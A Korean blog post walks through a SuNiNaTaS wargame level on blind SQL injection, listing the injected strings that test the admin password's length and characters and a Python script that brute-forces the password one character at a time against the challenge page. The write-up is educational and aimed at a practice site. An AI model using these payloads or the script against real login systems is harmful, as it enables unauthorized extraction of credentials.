글 작성자: 모두의 근삼이

WEB Level 22

써니나타스의 다음 웹 관련 문제는 level22번 문제입니다. 22번 문제는 Blind Sql Injection에 관한 문제입니다. 

로그인 창이 하나있고, “Blind Sql Injection” 이라는 문구가 친절하게 써져있습니다. id와 pw를 써 넣는 곳이 있고, 이 곳에 넣은 값은 해당 프레임이 참조하는 데이터베이스의 쿼리문의 일부로 전달이 됩니다. 이 값을 개발자가 의도하지 않은 적절하지 않은 데이터를 삽입하면, 적절한 필터링이 안되어 있을 경우, 공격자가 임의로 데이터베이스를 조작하거나 참조할 수 있게 됩니다. 


블라인드 SQL 인젝션의 경우에는, 데이터베이스 조작을 통해 직접적인 데이터베이스 내용을 볼 수는 없지만, 주로 참, 거짓을 판단하는 구문을 전달해, 각 상황에 따라 출력되는 메시지 또는 현상을 기준으로 데이터베이스를 추즉하여 값을 알아내거나 변조하는 방식의 공격방법입니다.



해당 레벨에서는 프레임 자체에도 나와있는 필터링 목록 뿐 아니라, , #, 등등 인젝션을 하는데 필요한 대부분의 구문들이 필터링 되어 있었습니다. 

또한, pw에 어떤 값이든 반드시 값 입력이 이루어져야하고, 쿼리문의 결과가 참일 경우에는 OK 라는 문자와 함께 사용자이름, 거짓일 경우에는 False라는 문자와 함께 사용자이름을 출력하는 형태를 가지고 있습니다. 

여러 가지 테스트를 통해 싱글쿼터[‘], 괄호[( or )], 주석처리[--] 등을 사용할 수 있다는 것을 확인했습니다.



level22의 페이지 구성 코드에 나타나 있는 힌트정보를 보면, 기본적으로 로그인 할 수 있는 계정과 암호로 guest/guest를 사용할 수 있다는 것과, 이 레벨에서의 목적이 admin 계정의 암호를 찾는 것이라는 것을 알 수 있었습니다. 

필터링에 걸리지 않고, 허용된 쿼리문에 활용할 수 있는 문자들인 [‘], [=], [and],  형식만을 이용해서 admin의 비밀번호를 한 자리씩 확인할 수 있는 구문을 작성해 보았습니다.


Level22 블라인드 인젝션 구문

비밀번호길이 확인

admin' and len(pw)=1--admin' and len(pw)=2--

....admin' and len(pw)=10--

각 자리문자 확인

admin' and substring(pw,1,1)='a'--

admin' and substring(pw,2,1)='a'--

...

admin' and substring(pw,10,1)='a'--

 

첫 번째 형식을 이용해서 admin 계정의 비밀번호의 길이를 알아 낼 수 있고, 그렇게 알아낸 비밀번호의 길이를 substring 함수를 이용해서 첫 번째 자리부터 순서대로 어떤 문자를 가지고 있는지 대입해보고 출력되는 에러나, 상태를 통해 전체 비밀번호가 무엇인지 알아낼 수 있습니다. 

하지만, 모든 문자를 직접 대입해보기에는 그 범위가 너무 넓습니다. 따라서, 아스키 코드를 참고하여 코드를 만들어서 풀어보았습니다.


비밀번호에 사용할 수 있는 문자는 아스키 10진수 값으로 32~126에 해당하는 값들입니다.


문제 풀이를 위한 파이썬 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
URL="http://suninatas.com/Part_one/web22/web22.asp?id="
session=requests.Session()
USER="admin"
 
cookie={
    "ASPSESSIONIDSQASCQBR":"NIPNAPJAAMFHGAMOBJLBNBGA"
    }
 
result=[]
index=0
 
for i in range(1,20) :
    req1=session.get(URL+USER+"' and len(pw)="+str(i)+"--&pw=1",cookies=cookie)
    if (req1.text.find("OK"> 0) :
        print ("Total Length : "+str(i))
        for j in range(1,i+1) :
            for k in range(32,127) :
                req2=session.get(URL+USER+"' and substring(pw,"+str(j)+",1)='"+chr(k)+"'--&pw=1",cookies=cookie)
                if (req2.text.find("OK"> 0 ) :
                    result.insert(index,chr(k))
                    print (chr(k))
                    index += 1
                    if (index==i):
                        print (USER+"'s password : "+''.join(result))
                        input("Press any KEY to exit..")
                        exit (0)
                    break
 
cs


반응형